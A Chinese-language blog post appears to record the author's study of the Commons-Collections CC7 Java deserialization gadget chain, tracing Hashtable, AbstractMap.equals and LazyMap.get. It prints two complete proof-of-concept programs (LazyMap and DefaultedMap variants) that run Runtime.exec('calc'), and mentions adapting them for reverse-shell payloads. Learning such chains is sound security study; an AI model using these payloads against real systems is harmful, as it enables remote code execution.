cc7


CC7

和CC5一样,改变了CC1的开头,但LaztMap#get()后半段是一样的

image-20260110113943053

1
2
3
版本
jdk:jdk8u65
CC:Commons-Collections 3.2.1

找一下能调用get的方法

AbstractMap#equals

在AbstractMap#equals中调用了get

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

Hashtable#reconstitutionPut()

在Hashtable类的reconstitutionPut中调用了equals方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

Hashtable#readObject()

在本类的readObject()方法中发现调用了reconstitutionPut方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold and loadFactor
        s.defaultReadObject();

        // Validate loadFactor (ignore threshold - it will be re-computed)
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new StreamCorruptedException("Illegal Load: " + loadFactor);

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Validate # of elements
        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

        // Clamp original length to be more than elements / loadFactor
        // (this is the invariant enforced with auto-growth)
        origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);

        // Compute new length with a bit of room 5% + 3 to grow but
        // no larger than the clamped original length.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)((elements + elements / 20) / loadFactor) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        length = Math.min(length, origlength);

        if (length < 0) { // overflow
            length = origlength;
        }

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

编写poc

我们先看一下equals方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

如果要进入get方法的话需要先经过三个if语句的判断

1
2
3
4
5
6
7
8
if (o == this)	//判断o是否为对象本身
    return true;

if (!(o instanceof Map))	//判断类型是否是Map类型
    return false;
Map<?,?> m = (Map<?,?>) o;	//将对象 o 强制转换为泛型类型为未知类型的 Map
if (m.size() != size())	//判断Map的元素的个数size
    return false;

当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容。虽然对象o强制成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。

看readObject方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold and loadFactor
        s.defaultReadObject();

        // Validate loadFactor (ignore threshold - it will be re-computed)
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new StreamCorruptedException("Illegal Load: " + loadFactor);

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Validate # of elements
        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

        // Clamp original length to be more than elements / loadFactor
        // (this is the invariant enforced with auto-growth)
        origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);

        // Compute new length with a bit of room 5% + 3 to grow but
        // no larger than the clamped original length.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)((elements + elements / 20) / loadFactor) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        length = Math.min(length, origlength);

        if (length < 0) { // overflow
            length = origlength;
        }

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

没什么需要注意的

看看reconstitutionPut方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
	//value不能为null
       if (value == null) {
           throw new java.io.StreamCorruptedException();
       }

	//重新计算key的hash值
       int hash = key.hashCode();
	//根据hash值计算存储索引
       int index = (hash & 0x7FFFFFFF) % tab.length;
	//判断元素的key是否重复
       for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
		//如果key重复则抛出异常
           if ((e.hash == hash) && e.key.equals(key)) {
               throw new java.io.StreamCorruptedException();
           }
       }
       //key不重复则将元素添加到table数组中
       @SuppressWarnings("unchecked")
           Entry<K,V> e = (Entry<K,V>)tab[index];
       tab[index] = new Entry<>(hash, key, value, e);
       count++;
   }

reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常

然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,这里的话会调用equals方法

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

所以我们不难看出,在Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

那么我们就需要创建两个Map对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("aa",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("bb",1);

Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);

需要注意一个点,那就是在反序列化时,reconstitutionPut方法中的if判断中两个元素的hash值必须相同的情况下,才会调用eauals方法。infer师傅这里给出两组hash相同的值:

1
2
yy与zZ
Ea与FB

所以有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("yy",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);

目前就是这个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {

        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();

        Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
        LazyMap1.put("yy",1);
        Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        LazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(LazyMap1,1);
        hashtable.put(LazyMap2,1);

    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

remove第二次Hashtable在调用put方法给LazyMap2添加的元素

可以运行,但是有大问题,在get方法中return这行这打个断点,发现LazyMap2有2个元素,即多了一个yy

image-20260110195700346

先解释一下这怎么来的,在get这行打个断点,此时LazyMap2有了zZ,为啥此时key为yy,原因是第二次Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法,由代码(map.containsKey(key) == false)只当LazyMap2没有yy时,put一个元素yy,显然成立执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public synchronized V put(K key, V value) {
        // Make sure the value is not null
        if (value == null) {
            throw new NullPointerException();
        }

        // Makes sure the key is not already in the hashtable.
        Entry<?,?> tab[] = table;
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
        for(; entry != null ; entry = entry.next) {
            // 此时经过第一次Hashtable,entry是已经在里面的 LazyMap1
			// key 是正在往里放的 LazyMap2
            if ((entry.hash == hash) && entry.key.equals(key)) {//此时entry.key.equals(key)就是LazyMap1.equals(LazyMap2)
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }
        
        
  //这里有个问题,不是AbstractMap的equals方法,咋变成了LazyMap1.equals(LazyMap2),是LazyMap来调用equals?因为LazyMap 装饰的HashMap,所以,LazyMap1.equals(LazyMap2) 实际上跳转到了 hashMap1.equals(LazyMap2)。而HashMap 继承自 java.util.AbstractMap,那么 hashMap1.equals(LazyMap2) 实际上调用的就是父类 java.util.AbstractMap 的 equals 方法。

image-20260110195358511

1
所以为啥不行有2个元素?当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。所以我们remove这个yy就行了

image-20260111094528008

注意:例如我们需要生成反弹shell的序列化字符串的时候,put方法的提前触发而导致后面进行base64编码无法进行,所以还是用之前的方法,先放一个空的Transformer,再换回去(如果不这样,未序列化反序列化就会触发计算机)

所以poc是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {

        Transformer[] TransformerArray = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();

        Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
        LazyMap1.put("yy",1);
        Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        LazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(LazyMap1,1);
        hashtable.put(LazyMap2,1);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, TransformerArray);


        LazyMap2.remove("yy");
        serialize(hashtable);
        unserialize("serialize");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

poc补充

这个poc来自此师傅wanth3f1ag.top/2025/06/28/Java反序列化CC7链/

1
Hashtable#readObject() -> Hashtable#reconstitutionPut()->AbstractMap#equals()->DefaultedMap#get() → 调用 transformer

总体和传统cc7差不多

这里注意的是

1
2
3
1,DefaultedMap.equals()因为 DefaultedMap 继承自 AbstractMapDecorator,所以实际代码在 AbstractMapDecorator 里。然后轮到map (HashMap) 执行 equals 了。但是 HashMap 自己没有写 equals 方法,它继承自 JDK 原生的 java.util.AbstractMap。

2.DefaultedMap 的构造方法被设计成了 protected,所以要反射获得构造函数

image-20260111104122772

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package SerializeChains.CCchains.CC7;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7plus {
    /*
     * Hashtable#readObject() 触发 DefaultedMap#equals() → 调用 transformer,适用于commons-collections4
     * */
    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        //CC7链的开始
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        
        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain);
        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 1);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);

        defaultedMap2.remove("yy");
        serialize(hashtable);
        unserialize("CC7plus.txt");
    }
    //定义序列化操作
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7plus.txt"));
        oos.writeObject(object);
        oos.close();
    }
    //将序列化字符串转为base64
//    public static void serialize(Object object) throws Exception{
//        ByteArrayOutputStream data = new ByteArrayOutputStream();
//        ObjectOutputStream oos = new ObjectOutputStream(data);
//        oos.writeObject(object);
//        oos.close();
//        System.out.println(Base64.getEncoder().encode(data.toByteArray()));
//    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

CC链总结

还是太摆了,暑假就说要学java,结果就说在摆,暑假没啥,而且还没学懂,开学也在打ctf,畏难不敢看java,结果也没写几条链子,还是放假老老实实做着搞几天才搞完,学到不少东西,重要的链子就是CC1、CC3、CC6这三条,CC1的动态代理,CC3的代码执行。加油加油!成为java高手!

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计